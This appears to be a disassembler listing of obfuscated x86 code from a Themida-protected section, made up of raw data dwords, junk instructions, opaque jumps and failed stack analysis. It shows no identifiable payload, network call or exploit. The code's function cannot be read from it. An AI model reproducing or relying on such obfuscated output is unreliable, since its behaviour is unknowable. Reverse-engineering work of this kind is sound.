		dd 0C68B8524h, 6324F3AAh, 5B69B024h, 5ECC219Ch,	28F7BCB6h
		dd 0E6EDDA84h, 0AC017BCCh, 14D5A0ECh, 5B694BF9h, 0D7B2CE49h
		dd 0A3FF1BDAh, 504D94E5h, 1FBE7591h, 49146421h,	694B0D88h
		dd 7342BD5Bh, 694B57B2h, 0AC70EB5Bh, 91551411h,	0A74BC213h
		dd 0BD357429h, 12D1CED8h, 6FC43FF6h, 1825h, 0BCB75600h
		dd 0B636A4F9h, 3DEFAB9h, 0D732F306h, 6B5B69B0h,	93B175F0h
		dd 0F4BFB6E1h, 4100FDD8h, 8F4C4A25h, 0D89F9873h, 20E9E1BCh
		dd 68312904h, 0B277714Ch, 0FDC0BB96h, 490A06E1h, 8952692Dh
		dd 4C281E2h, 55000000h,	4BDh, 5DEA2900h, 5C241487h, 1B5D68h
		dd 24048900h, 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 68243C89h
		dd 61649AEh, 8124048Bh,	4C4h, 4EC8100h,	89000000h, 4832424h
		dd 515F0424h, 8B9h, 89F90100h, 240C8B01h, 4C481h, 34FF0000h
		dd 0C4815F24h, 4
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55149C
; ---------------------------------------------------------------------------
		dd 2EEBE760h
		db 61h,	75h, 0C6h
; ---------------------------------------------------------------------------


loc_5CE31F:				; CODE XREF: Themida_:005CDFA5j
		mov	eax, 6164C9Ah
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 5E3DEE6Dh, 65E69AFAh, 2C24AADh, 72B1C7E7h, 4952E06Eh
		dd 1E827EBDh, 1242C999h, 2E96C4A0h, 27F6FAE3h, 63866062h
		dd 5C21524Dh, 7C847A7Ah, 38E8B9DEh, 0BB66D68Bh,	14E9F8BEh
		dd 0B7000000h, 50C4D285h, 7B2F2A7h, 8745BD82h, 0A6FDFA1Dh
		dd 0E822DD0Dh, 0Ch, 0A5158DB7h,	2462D885h, 0F0421122h
		dd 0C1816651h, 58594B71h, 8C0FFCFCh, 7,	0E89DB951h, 0F5F2CD8h
		dd 8Dh,	12E800h, 8F0000h, 0D7A00D3Bh, 0D629C4F1h, 2C0D0F47h
		dd 9BD0FF50h, 665EC5B4h, 9153E181h, 28D0F60h, 8B000000h
		dd 843ABBD7h, 0F5615CE6h, 80D4CA80h, 60F815CBh,	0DE80D88Bh
		dd 0F50611Eh, 0F5FC3BFh, 0CF8BDABFh, 0F28B6651h, 0DE8B6659h
		dd 61F8FC60h, 72B54AB9h, 0BE971h, 797F0000h, 79F41F6Eh
		dd 77576485h, 0F2BF66C5h, 0D8BF0FA0h, 81605A50h, 0DCD75BE1h
		dd 8A0F72h, 61000000h, 3860Fh, 8B660000h, 34E681F7h, 0BA27E756h
		dd 3CAF3C56h, 2A860Fh, 0DE80000h, 0EA000000h, 82A580B0h
		dd 0E3A2B923h, 379C97E4h, 12E9h, 95255F00h, 0F9076FDEh
		dd 0A69B40D7h, 92DE0E43h, 5EB88C68h, 0EDD38166h, 9E90Dh
		dd 0BC820000h, 6A1A0AC4h, 664BEF3Bh, 0FBEED781h, 0E8B9C980h
		dd 9, 4AEECC25h, 3AFBF184h, 0F4805AE5h,	8C0F60B4h, 3, 60D7BF0Fh
		dd 81C8BF0Fh, 587F35D7h, 0E961612Bh, 7,	0F4D807A8h, 0E868B5F0h
		dd 7, 9A6AF3BEh, 66D6ECF9h, 555FDA81h, 48D0F5Eh, 66000000h
		dd 66D017B9h, 0AE8D18Bh, 50000000h, 44D2059Eh, 9F5A3026h
		dd 12E811h, 320D0000h, 5D52821Ah, 0F9A7DDB0h, 0CADF3E37h
		dd 2A3056E9h, 12E8h, 3C0C5600h,	0C5D26CFFh, 0DBED9E28h
		dd 7EED3E5h, 5E60914Eh,	0B7BA5A5Fh, 8B351499h, 0F7B70FF3h
		dd 74BB6652h, 0D38B5F3Ch, 1E8C0Fh, 12E80000h, 72000000h
		dd 0E1DD7211h, 40F79554h, 37539BFBh, 4023FB68h,	840FF7h
		dd 5F000000h, 8BD68B66h, 4870FDAh, 66000000h, 66B29DBEh
		dd 0E58AC38Bh, 80F78B66h, 0BA66CEC0h, 0BB66A957h, 5BB03E1Eh
		dd 665EF953h, 8166FB8Bh, 66705DE9h, 4732F381h, 0CE9h, 2BBEAA00h
		dd 44C267F8h, 10007E16h, 0E18AF898h, 8B6617B3h,	0F3B70FFBh
		dd 0FE28AFCh, 28Fh, 0E9F8B200h,	9, 36EFB0DFh, 663FFC72h
		dd 95C88090h, 94C68166h, 9E8C1h, 26D00000h, 8AC176F4h
		dd 60124A24h, 9E6AEBBEh, 0ABC88113h, 61571C97h,	12E95Ah
		dd 0E0990000h, 0F59ABE0Bh, 21023972h, 8C20FED8h, 0F2C36B70h
		dd 12E9h, 6F7F8C00h, 2EFAD41Eh,	0CBA4D002h, 0A5A7C958h
		dd 0B287A51Fh, 14E845h,	275F0000h, 0F41CA7BAh, 2FC4FFA4h
		dd 195556B4h, 3B7D8BDEh, 81669F68h, 5A235DF0h, 1A810Fh
		dd 9E80000h, 0AA000000h, 4CC72FEDh, 0BE3ACAC6h,	6E9h, 1E43B600h
		dd 5F245840h, 820F56h, 5F000000h, 0BB5BF66h, 0A14D9FBAh
		dd 4840F0Eh, 60000000h,	0B86156B7h, 459523D0h, 0B8A0Fh
		dd 0F600000h, 8Dh, 0DBBF0F00h, 78DF8161h, 0F47C9EBh, 280h
		dd 81CF8A00h, 14A851E1h, 0AE87Bh, 34EB0000h, 0AF9D83B3h
		dd 0E9DBF164h, 81665EF9h, 6633BEDAh, 0C936DA81h, 71BFE8B5h
		dd 0F54061B7h, 2FF08166h, 9CF8005h, 3870Fh, 0B70F0000h
		dd 19880FD3h, 60000000h, 11E8h,	0FF98F00h, 173B728Fh, 5C15AA6Ch
		dd 32D4162Ah, 615B04BBh, 3820Fh, 0B70F0000h, 5810FD8h
		dd 66000000h, 0C854E981h, 0B0C18B66h, 0CDBF662Bh, 12E98Dh
		dd 0BCAA0000h, 73C1712Ch, 9DDAA9A1h, 30007A0h, 12F53AEBh
		dd 7E9h, 91C00B00h, 65A70902h, 0B966CE8Bh, 0BB66D5C0h
		dd 0FD8A0B3Fh, 2DC0EE81h, 0C28B3A27h, 66FFBF0Fh, 544BF381h
		dd 0EABF6660h, 0E961FC24h, 0Dh,	1925DB2Dh, 0BBD8540Eh
		dd 1C09B2Ah, 0FE97Ah, 47850000h, 5F1A21F4h, 0ABC17978h
		dd 299CD1CBh, 0EE83Eh, 0EB450000h, 1B86A754h, 0AF65460Eh
		dd 0C088CAFCh, 0CE8h, 0F87C1E00h, 0CD5C865Eh, 290DBA75h
		dd 2BA664Dh, 0F959595Eh, 0D18B6652h, 0D38B6658h, 58F0FFCh
		dd 66000000h, 0BB9DE381h, 0B850Fh, 8E0F0000h, 5, 0BDF28166h
		dd 0E681666Dh, 12E9130Bh, 0A000000h, 4A3C0989h,	96643E3Ah
		dd 422482ACh, 33FFF85h,	28F0FD8h, 8B000000h, 0EE9F5CAh
		dd 0ED000000h, 0CCCB986Ch, 49C9654h, 10D554A1h,	0F85752C7h
		dd 8B665B5Bh, 0BB6660C3h, 0BF612A82h, 1509EE24h, 0EABE66F5h
		dd 5957F873h, 0C5F68152h, 5B7FF69Ch, 0E00231BEh, 0F3BF0F30h
		dd 11E8h, 1840DE00h, 2B530F0Dh,	0FFC145FFh, 3879111Bh
		dd 0C18B7268h, 0DBB96658h, 0D9816660h, 10E97359h, 0D2000000h
		dd 0E6FF763Ah, 8CEFE606h, 0C9040411h, 66AE13ABh, 0BE96C981h
		dd 8157D38Bh, 0F21853C8h, 0EBBE5946h, 665B2820h, 9FE9CA81h
		dd 5E9h, 27D58500h, 8E907B0h, 0AD000000h, 36AD23D6h, 569A5420h
		dd 0D81ABB66h, 30EE8158h, 0BE6E6643h, 76A5CD3Eh, 28A0Fh
		dd 0CA8B0000h, 0DD64B866h, 5AF856FCh, 8166DA8Ah, 80753BD3h
		dd 0F98B53DAh, 38B0F60h, 0F000000h, 60B9F9BFh, 61288BBDh
		dd 0DF81FA8Ah, 4C5EA808h, 0D3B85760h, 5E5314F6h, 8E9h
		dd 4B8F5E00h, 591BC754h, 8B6661CDh, 18C0FD0h, 0FC000000h
		dd 0DE9h, 254A6900h, 0B2705D92h, 89C7628Dh, 0E9606B8Ch
		dd 0Fh,	0D2376B6h, 25773778h, 8C3DA57Dh, 66603CFFh, 610B23BBh
		dd 5F515352h, 8A0F5F59h, 0Ch, 6870Fh, 840F0000h, 0
; ---------------------------------------------------------------------------
		mov	al, 0D3h
		mov	esi, eax
		jmp	loc_5CE948
; ---------------------------------------------------------------------------
		db 0C5h, 90h, 0C6h
		dd 64958B36h, 3CDA0E67h, 0C46E3C8Dh
; ---------------------------------------------------------------------------


loc_5CE948:				; CODE XREF: Themida_:005CE934j
		sub	si, 0B1B6h
		stc
		mov	edi, edx
		mov	bh, cl
		push	edx
		jns	loc_5CE972
		call	loc_5CE971
		jmp	far ptr	6F4Dh:0E913FCA6h
; ---------------------------------------------------------------------------
		db 3Ch,	0F0h, 6Dh
		dd 410D425Ch, 5F3FEB26h
		db 0F7h
; ---------------------------------------------------------------------------


loc_5CE971:				; CODE XREF: Themida_:005CE959p
		pop	esi


loc_5CE972:				; CODE XREF: Themida_:005CE953j
		pop	esi
		pusha
		mov	dx, di
		adc	ax, 0FAF0h
		popa
		mov	eax, edi
		pusha
		or	cx, 39A5h
		popa
		mov	ebx, esi
		xor	eax, 18B6BCE9h
		stc
		jb	loc_5CE9A9
		jmp	loc_5CE9A9	; CODE XREF: Themida_:005CE9F9j
; ---------------------------------------------------------------------------
		dw 0A552h
		dd 0C1A5Ch, 74CD759Eh, 6E5C3904h
		db 24h
; ---------------------------------------------------------------------------


loc_5CE9A9:				; CODE XREF: Themida_:005CE98Fj
					; Themida_:005CE995j
		mov	eax, ebx
		xor	si, 604Fh
		call	sub_5CE9C6
; ---------------------------------------------------------------------------
		db 8Eh,	37h, 0BDh
		dd 0FB3B6628h, 0DF6BA74h, 244BE2Dh
		db 0FEh, 2Ah

; =============== S U B	R O U T	I N E =======================================



sub_5CE9C6	proc near		; CODE XREF: Themida_:005CE9B0p
		pusha
		sbb	ecx, 2197530h
		sbb	ax, 47F0h
		popa
		pop	esi
		mov	si, bx
		jle	loc_5CE9DF
		mov	esi, edi


loc_5CE9DF:				; CODE XREF: sub_5CE9C6+11j
		call	loc_5CE9F4
		or	ebx, [ebx]
		pop	ebp
		pop	ds
		in	eax, dx
		xchg	eax, edx
		push	ebp
		std
		daa
		sub	[eax-65h], dl
		push	esi
		add	ch, [eax+1Ch]
sub_5CE9C6	endp ; sp-analysis failed



loc_5CE9F4:				; CODE XREF: sub_5CE9C6:loc_5CE9DFp
		call	sub_5CEA0B
		jp	short near ptr loc_5CE995+4
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0A54C3C8Bh, 7601A456h, 0FA17A914h
		db 0Fh,	86h, 0B3h

; =============== S U B	R O U T	I N E =======================================



sub_5CEA0B	proc near		; CODE XREF: Themida_:loc_5CE9F4p
		mov	dx, di
		pop	eax
		pop	esi
		movsx	edx, ax
		movzx	edi, dx
		call	near ptr loc_5CEA27+4
		sub	ebp, 8B8A5E14h
		imul	edi, ebx, 0A1BF8F72h


loc_5CEA27:				; CODE XREF: sub_5CEA0B+Bp
		cmp	eax, 605E49D0h
sub_5CEA0B	endp ; sp-analysis failed

		push	ebx
		pop	edx
		popa
		pop	edx
		push	ebx
		mov	cl, 9Bh
		pop	eax
		call	loc_5CEA49
		sub	edx, [edi+51C2C2ADh]
		or	edi, [ecx+5AD351FAh]
		push	eax
		jge	short near ptr loc_5CEAA8+2
		xlat


loc_5CEA49:				; CODE XREF: Themida_:005CEA34p
		mov	ecx, eax
		pop	ebx
		mov	ax, dx
		jo	loc_5CEA56
		stc


loc_5CEA56:				; CODE XREF: Themida_:005CEA4Fj
		movsx	esi, cx
		push	edx
		cmc
		pop	eax
		push	edi
		mov	edx, edi
		pop	edx
		jmp	loc_5CEA6D
; ---------------------------------------------------------------------------
		les	esi, [ebx-41BCE9EDh]
		add	al, al


loc_5CEA6D:				; CODE XREF: Themida_:005CEA60j
		mov	ebx, 5D749161h
		sbb	ebx, 65C78367h
		cld
		cmc
		movzx	ecx, si
		pusha
		jl	loc_5CEA85
		cmc


loc_5CEA85:				; CODE XREF: Themida_:005CEA7Ej
		mov	dl, 90h
		popa
		call	sub_5CEA99
		push	ebx
		arpl	cx, si
		sbb	ah, ah
		push	45h
; ---------------------------------------------------------------------------
		dd 0D1503E8Eh
		db 1Bh

; =============== S U B	R O U T	I N E =======================================



sub_5CEA99	proc near		; CODE XREF: Themida_:005CEA88p
		mov	ebx, edi
		pop	ecx
		pusha
		pusha
		xor	cl, 0F0h
		jl	$+6
		popa


loc_5CEAA8:				; CODE XREF: Themida_:005CEA46j
		jnz	loc_5CEAB3
		add	dx, 0A18Ah


loc_5CEAB3:				; CODE XREF: sub_5CEA99:loc_5CEAA8j
		popa
		sbb	ah, 0C6h
		jmp	loc_5CEACF
; ---------------------------------------------------------------------------
		dd 5C09E9E7h, 431990DEh, 43C2B46Bh, 0E9E2FE8Ah
		db 7Eh,	0F1h, 0ADh
; ---------------------------------------------------------------------------


loc_5CEACF:				; CODE XREF: sub_5CEA99+1Ej
		mov	si, ax
		mov	ax, 0BE77h
		jnb	loc_5CEAE0
		mov	dx, 25BFh


loc_5CEAE0:				; CODE XREF: sub_5CEA99+3Dj
		mov	edx, 4EB696F0h
		and	dl, 4
		mov	ax, 0EE5h
		mov	ecx, 10E0B063h
		sbb	ecx, 27F8AD5Eh
		push	esi
		push	eax
		pusha
		popa
		pop	eax
		pop	ebx
		mov	ax, si
		jno	$+6
		cld
		jmp	loc_5CEB1D
; ---------------------------------------------------------------------------
		dd 88D076A5h, 272A4F46h, 10192F5Fh, 11C3201Bh
; ---------------------------------------------------------------------------
		push	ecx


loc_5CEB1D:				; CODE XREF: sub_5CEA99+6Ej
		sbb	dh, 21h
		jge	loc_5CEB3F
		jmp	loc_5CEB3F
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D0FE0851h, 3FA81A40h, 65A00B72h, 15B5A759h
		db 5Dh,	0A9h, 8Eh
; ---------------------------------------------------------------------------


loc_5CEB3F:				; CODE XREF: sub_5CEA99+87j
					; sub_5CEA99+8Dj
		jmp	loc_5CEB4C
; ---------------------------------------------------------------------------
		dd 4FF1B061h, 0A19CC92Fh
; ---------------------------------------------------------------------------


loc_5CEB4C:				; CODE XREF: sub_5CEA99:loc_5CEB3Fj
		jb	loc_5CEB6B
		jmp	loc_5CEB6B
; ---------------------------------------------------------------------------
		db 9Dh
		dd 2D43DB63h, 0AAF77F64h, 7788670Eh, 0FE40D4ECh
		db 0D8h, 0B5h, 40h
; ---------------------------------------------------------------------------


loc_5CEB6B:				; CODE XREF: sub_5CEA99:loc_5CEB4Cj
					; sub_5CEA99+B9j
		cld
		mov	edi, 0CF111F5h
		jmp	loc_5CEB85
; ---------------------------------------------------------------------------
		and	al, [edi+1ACAA660h]
		stosb
		adc	edi, [edi+19733905h]
		sbb	al, 0A6h


loc_5CEB85:				; CODE XREF: sub_5CEA99+D8j
		and	cl, 4Ah
		mov	edi, ecx
		jmp	loc_5CEB9B
; ---------------------------------------------------------------------------
		db 0Fh
		dd 70DE3CDDh, 371E904Dh
		db 4Dh,	7Dh, 5Dh
; ---------------------------------------------------------------------------


loc_5CEB9B:				; CODE XREF: sub_5CEA99+F1j
		movsx	ecx, ax
		jo	loc_5CEBAB
		push	ebx
		adc	bx, 3A5h
		pop	eax


loc_5CEBAB:				; CODE XREF: sub_5CEA99+105j
		jp	loc_5CEBB7
		add	edx, 3BC6A1D9h


loc_5CEBB7:				; CODE XREF: sub_5CEA99:loc_5CEBABj
		jnp	loc_5CEBC1
		mov	si, 0F9D0h


loc_5CEBC1:				; CODE XREF: sub_5CEA99:loc_5CEBB7j
		pusha
		push	ecx
		pop	eax
		movzx	esi, ax
		popa
		movzx	edi, di
		jmp	loc_5CEBD8
; ---------------------------------------------------------------------------
		dd 4359F9A1h, 0A3210F2Bh
; ---------------------------------------------------------------------------


loc_5CEBD8:				; CODE XREF: sub_5CEA99+132j
		mov	si, 52BFh
		push	edi
		sub	dx, 897h
		pop	esi
		sub	ebx, 188BEDB6h
		mov	ebx, 2938177Fh
		call	near ptr loc_5CEBF5+4
		adc	[ebx], dh


loc_5CEBF5:				; CODE XREF: Themida_:005CEC33j
					; sub_5CEA99+155p
		imul	edx, [ebx-7E99C446h], 596D58D6h
sub_5CEA99	endp ; sp-analysis failed

		cld
		push	edx
		jmp	loc_5CEC15
; ---------------------------------------------------------------------------
		dw 9AA0h
		dd 690231C7h, 9C934B8Ch, 72452653h
		db 0E9h
; ---------------------------------------------------------------------------


loc_5CEC15:				; CODE XREF: Themida_:005CEC01j
		pop	ebx
		pusha
		mov	esi, ebx
		jno	loc_5CEC25
		add	esi, 3AFEA362h


loc_5CEC25:				; CODE XREF: Themida_:005CEC19j
		popa
		jb	loc_5CEC5B
		call	near ptr loc_5CEC40+2
		out	17h, eax
		js	short near ptr loc_5CEBF5+1
		mov	ah, 50h
		aaa
		fxch7	st(5)
		mov	byte ptr [ecx],	30h
		pop	es
		adc	[ecx], bh


loc_5CEC40:				; CODE XREF: Themida_:005CEC2Cp
		sal	byte ptr [ebp+13E9h], 1
		add	dl, cl
		retn	6709h
; ---------------------------------------------------------------------------
		db 5Dh
		dd 18C233F3h, 0D73DFE1Fh, 7A338BE4h
		db 44h,	0Eh, 5Bh
; ---------------------------------------------------------------------------


loc_5CEC5B:				; CODE XREF: Themida_:005CEC26j
		jg	loc_5CEC64
		mov	ax, cx


loc_5CEC64:				; CODE XREF: Themida_:loc_5CEC5Bj
		mov	edx, ecx
		mov	dx, si
		js	loc_5CEC76
		jb	loc_5CEC76
		cmc


loc_5CEC76:				; CODE XREF: Themida_:005CEC69j
					; Themida_:005CEC6Fj
		or	ebx, 2FF326F4h
		jmp	loc_5CEC93
; ---------------------------------------------------------------------------
		align 2
		dw 0A8FEh
		dd 0EFAB463h, 0C5163D37h, 0E257A954h
; ---------------------------------------------------------------------------
		or	[ecx+2Ch], bl


loc_5CEC93:				; CODE XREF: Themida_:005CEC7Cj
		jmp	loc_5CECA1
; ---------------------------------------------------------------------------
		dd 743A88D4h, 93DF5D5Bh
		db 0D0h
; ---------------------------------------------------------------------------


loc_5CECA1:				; CODE XREF: Themida_:loc_5CEC93j
		mov	esi, 0ED41661h
		add	edi, 3B35F96Ah
		mov	dl, 10h
		cld
		mov	cx, di
		add	ah, 13h
		mov	ebx, eax
		pusha
		mov	cx, 0DFC6h
		jmp	loc_5CECCA
; ---------------------------------------------------------------------------
		db 7Ah,	0BFh, 22h
		dd 9D8E62EAh
		db 4Ch,	0B4h
; ---------------------------------------------------------------------------


loc_5CECCA:				; CODE XREF: Themida_:005CECBCj
		popa
		mov	dl, 72h
		pusha
		mov	esi, 197F4E5Dh
		js	loc_5CECDD
		mov	ax, 225Dh


loc_5CECDD:				; CODE XREF: Themida_:005CECD3j
		popa
		cmc
		jmp	loc_5CECF6
; ---------------------------------------------------------------------------
		dd 0C46CB9C5h, 0E737E83Ah, 0E34B3C98h
; ---------------------------------------------------------------------------


loc_5CECF0:				; CODE XREF: Themida_:005CED27j
		lahf
		and	[edi-6], ah
; ---------------------------------------------------------------------------
		db 0FFh, 5Ah
; ---------------------------------------------------------------------------


loc_5CECF6:				; CODE XREF: Themida_:005CECDFj
		pusha
		jz	loc_5CED02
		mov	ebx, 1AA55E06h


loc_5CED02:				; CODE XREF: Themida_:005CECF7j
		jmp	loc_5CED12
; ---------------------------------------------------------------------------
		db 0C7h
		dd 6618135Dh, 0EA3CA96Bh
		db 0BCh, 0ECh
; ---------------------------------------------------------------------------


loc_5CED12:				; CODE XREF: Themida_:loc_5CED02j
		popa
		jmp	loc_5CED20
; ---------------------------------------------------------------------------
		cdq
		dec	esi
		xor	ecx, [edi-4Fh]
		retf
; ---------------------------------------------------------------------------
		xchg	eax, edi
		dec	ebp


loc_5CED20:				; CODE XREF: Themida_:005CED13j
		mov	ecx, edx
		call	near ptr loc_5CED2B+5
		jg	short loc_5CECF0
		sbb	al, 14h


loc_5CED2B:				; CODE XREF: Themida_:005CED22p
		pshufw	mm2, qword ptr [ebp+ecx*8+58D0F9Dh], 0
; ---------------------------------------------------------------------------
		dd 81660000h, 5A8323C7h, 5E8D68Bh, 34000000h, 2B1928B6h
		dd 565E99B6h, 6820Fh, 0D3810000h, 2BCCFC2Ch, 66F08B5Ah
		dd 0FEAA7B9h, 0E960CFBFh, 14h, 0FA118AFCh, 8D6D5379h, 3EF9ACC3h
		dd 93F6D829h, 3016AE99h, 0C68B61F8h, 0E9F8CA8Bh, 0Ch, 4585D0A9h
		dd 8759051Fh, 59310C61h, 31C08150h, 5937F585h, 0EE8124B5h
		dd 5AA04131h, 9E856h, 7F030000h, 34396C1Ch, 0BBDC2C39h
		dd 3FC5D894h, 6E8595Ah,	0C4000000h, 1FDF3999h, 0C5BB667Fh
		dd 0DB815B21h, 7D0AA66Dh, 0DE8166F9h, 0F0BEFB16h, 0F55C5A0Fh
		dd 609EC280h, 0B31AE081h, 0F611C48h, 840FDBBFh,	4, 0F6ADB866h
		dd 870FF18Bh, 1, 11E9F9h, 5E150000h, 476B64D9h,	164BE1CAh
		dd 0DFACD4Bh, 0E9FFB7E9h, 0Ch, 6181E7A6h, 0C07BAD86h, 86DB78A1h
		dd 5E960h, 11EB0000h, 6026F169h, 890Fh,	11E90000h, 59000000h
		dd 0F8769D68h, 1150FE88h, 548BE7C0h, 6ECAB287h,	0AE86161h
		dd 61000000h, 0A8371362h, 0E1DF7B52h, 6820F46h,	0F000000h
		dd 8Dh,	8F0F5800h, 3, 66D8E280h, 664DE2BEh, 8A0C9EBFh
		dd 41EDBBD9h, 8B662BFFh, 5890FF9h, 0B8000000h, 4BB2702Dh
		dd 8A36CA80h, 0DE9F5h, 716A0000h, 4733C637h, 63FC1642h
		dd 0E80EEEA8h, 0Ah, 5649D822h, 4E35A8D0h, 0F603157h, 8Dh
		dd 850F00h, 61000000h, 0D1B70F5Fh, 75DE8166h, 0CB8B6665h
		dd 16ACBB66h, 0E9D78B66h, 0Ch, 0C203C98Ch, 0BFB5048h, 0C9A671CBh
		dd 8B666052h, 0BE9D7h, 549D0000h, 0FA1CADE1h, 87174CA6h
		dd 575E61DFh, 0E8CF8B60h, 8, 0A32B775Dh, 36F75BA6h, 0E95F6158h
		dd 9, 87E3F30Dh, 48A94F9Bh, 0C2B70F41h,	60D1BF0Fh, 880Fh
		dd 8E0F0000h, 3, 61D6BF0Fh, 26D4E181h, 8C0F0DD4h, 0
; ---------------------------------------------------------------------------
		mov	ax, 0DE1Fh
		clc
		jmp	loc_5CEF5D
; ---------------------------------------------------------------------------
		dw 8CE3h
; ---------------------------------------------------------------------------
		movsd
		xchg	eax, esi
		add	esp, [ecx-73730367h]
		mov	esp, 803AAC2Eh


loc_5CEF5D:				; CODE XREF: Themida_:005CEF49j
		movzx	eax, di
		pusha
		push	ecx
		mov	cx, 63E8h
		pop	edi
		jz	loc_5CEF72
		mov	edx, 237D3517h


loc_5CEF72:				; CODE XREF: Themida_:005CEF67j
		popa
		cmc
		mov	ecx, 4781919Ch
		cmc
		cld
		mov	di, 0EFD7h
		jnb	loc_5CEF86
		stc


loc_5CEF86:				; CODE XREF: Themida_:005CEF7Fj
		pusha
		clc
		push	edi
		add	ah, 74h
		pop	ecx
		popa
		pusha
		call	sub_5CEFA3
		mov	bh, 56h
		push	es
		setalc
		push	esi
		pop	ss
		loope	near ptr dword_5CED34+1F6h
		mov	ds:0B2F8B072h, al
		test	ebp, edi

; =============== S U B	R O U T	I N E =======================================



sub_5CEFA3	proc near		; CODE XREF: Themida_:005CEF8Fp
		sbb	di, 0F8A0h
		pop	ebx
		jp	loc_5CEFB5
		jns	$+6


loc_5CEFB5:				; CODE XREF: sub_5CEFA3+6j
		popa
		mov	di, si
		cld
		mov	dl, 0B3h
		mov	bl, 25h
		pusha
		mov	cx, 16DBh
		mov	cl, 0BAh
		popa
		pusha
		xor	cx, 2B3h
		mov	ah, cl
		popa
		clc
		push	eax
		jmp	loc_5CEFE0
; ---------------------------------------------------------------------------
		dw 9456h
		dd 1AA09A9Bh, 4DCF6108h
; ---------------------------------------------------------------------------


loc_5CEFE0:				; CODE XREF: sub_5CEFA3+2Ej
		pop	eax
		mov	cl, 96h
		movsx	ecx, bx
		mov	bl, 2
		mov	dx, di
		call	sub_5CEFFE
		inc	eax
		in	eax, dx
		popf
		imul	edx, [ebp+2], 0C7F25A25h
		sbb	eax, edi
		aad	5Ch
sub_5CEFA3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5CEFFE	proc near		; CODE XREF: sub_5CEFA3+48p
		clc
		pop	esi
		mov	bl, cl
		mov	cx, ax
		mov	bl, al
		mov	edi, 15114D81h
		pusha
		jl	loc_5CF016
		or	bl, 73h


loc_5CF016:				; CODE XREF: sub_5CEFFE+Fj
		mov	ecx, edx
		popa
		mov	esi, edi
		jnp	loc_5CF02D
		jnb	loc_5CF02D
		sub	eax, 28BB7BEBh


loc_5CF02D:				; CODE XREF: sub_5CEFFE+1Dj
					; sub_5CEFFE+23j
		jz	loc_5CF038
		mov	edx, 629792EEh


loc_5CF038:				; CODE XREF: sub_5CEFFE:loc_5CF02Dj
		movzx	ebx, dx
		or	cx, 70D1h
		movsx	edx, dx
		pusha
		jbe	loc_5CF04C
		pusha
		popa


loc_5CF04C:				; CODE XREF: sub_5CEFFE+46j
		mov	bh, dl
		popa
		jmp	loc_5CF05C
; ---------------------------------------------------------------------------
		dd 0E3F77EF7h, 9D34BDABh
; ---------------------------------------------------------------------------


loc_5CF05C:				; CODE XREF: sub_5CEFFE+51j
		mov	edx, 0DD43D5Bh
		cmc
		pusha
		js	loc_5CF06E
		and	ax, 9965h


loc_5CF06E:				; CODE XREF: sub_5CEFFE+65j
		jb	loc_5CF076
		pusha
		popa


loc_5CF076:				; CODE XREF: sub_5CEFFE:loc_5CF06Ej
		popa
		mov	esi, 5F8F2409h
		mov	eax, ecx
		adc	cx, 0FD92h
		push	edx
		mov	si, dx
		pop	esi
		jmp	loc_5CF092
; ---------------------------------------------------------------------------
		mov	ds:0A5382C95h, eax


loc_5CF092:				; CODE XREF: sub_5CEFFE+8Aj
		mov	si, 5E53h
		jmp	loc_5CF0AE
; ---------------------------------------------------------------------------
		db 0FCh
		dd 4B2B1F6Bh, 51A2A700h, 763AD26Bh, 0E606E6FFh
		db 0EFh, 8Ch
; ---------------------------------------------------------------------------


loc_5CF0AE:				; CODE XREF: sub_5CEFFE+98j
		jb	loc_5CF0B8
		mov	di, 0E806h


loc_5CF0B8:				; CODE XREF: sub_5CEFFE:loc_5CF0AEj
		jl	$+6
		sbb	edx, 7D4D0620h
		push	ebx
		pop	eax
		mov	edi, esi
		mov	edi, 36606949h
		pusha
		and	ecx, 17589992h
		jge	loc_5CF0DF
		sub	dx, 0BEB9h


loc_5CF0DF:				; CODE XREF: sub_5CEFFE+D6j
		popa
		sbb	dl, 95h
		cmc
		jmp	loc_5CF0F3
; ---------------------------------------------------------------------------
		db 30h,	83h, 8
		dd 0E0CCB770h
		db 44h,	3Ch, 77h
; ---------------------------------------------------------------------------


loc_5CF0F3:				; CODE XREF: sub_5CEFFE+E6j
		mov	ecx, ebx
		movzx	edx, si
		jmp	loc_5CF107
; ---------------------------------------------------------------------------
		dec	ebp
		mov	ds:2C2BE260h, eax
		neg	byte ptr [edi+24h]
		dec	ecx


loc_5CF107:				; CODE XREF: sub_5CEFFE+FAj
		sbb	ah, 9
		jp	loc_5CF11C
		jz	loc_5CF11C
		jl	$+6


loc_5CF11C:				; CODE XREF: sub_5CEFFE+10Cj
					; sub_5CEFFE+112j
		jmp	loc_5CF12A
; ---------------------------------------------------------------------------
		align 2
		mov	edi, 55B60BF8h
		stc
		cmc
		pop	ds


loc_5CF12A:				; CODE XREF: sub_5CEFFE:loc_5CF11Cj
		add	ebx, 54D9F98h
		mov	dl, 0FAh
		jmp	loc_5CF140
; ---------------------------------------------------------------------------
		db 8Dh
		dd 9F7D4724h, 4A9FED1Ah
; ---------------------------------------------------------------------------


loc_5CF140:				; CODE XREF: sub_5CEFFE+134j
		or	esi, 2AA293F5h
		cld
		mov	ebx, ecx
		jmp	loc_5CF15E
; ---------------------------------------------------------------------------
		dw 0B636h
		dd 0EC647C4Ah, 654D2F93h, 69433764h
		db 83h,	13h
; ---------------------------------------------------------------------------


loc_5CF15E:				; CODE XREF: sub_5CEFFE+14Bj
		xor	di, 0A52Fh
		mov	bx, 0A7D5h
		call	near ptr loc_5CF172+4
		leave
		pop	edx
		push	cs
		push	edi
		icebp
		inc	esp


loc_5CF172:				; CODE XREF: sub_5CEFFE+169p
		jmp	dword ptr [eax+ebx*8-33479995h]
sub_5CEFFE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0F9h, 58h, 50h
		dd 0D0BF0F59h, 38A0F52h, 66000000h, 665FF18Bh, 0CF84D681h
		dd 0FFFB70Fh, 1487h, 0BE800h, 28FA0000h, 61A569CDh, 0F3F26EC2h
		dd 0D68B66FEh, 0B8A0F5Ah, 0E9000000h, 6, 0F8EEAA57h, 0E6814B50h
		dd 53ACCC30h, 0B0BFC7B1h, 8B6183D6h, 5051B9CAh,	840F2D90h
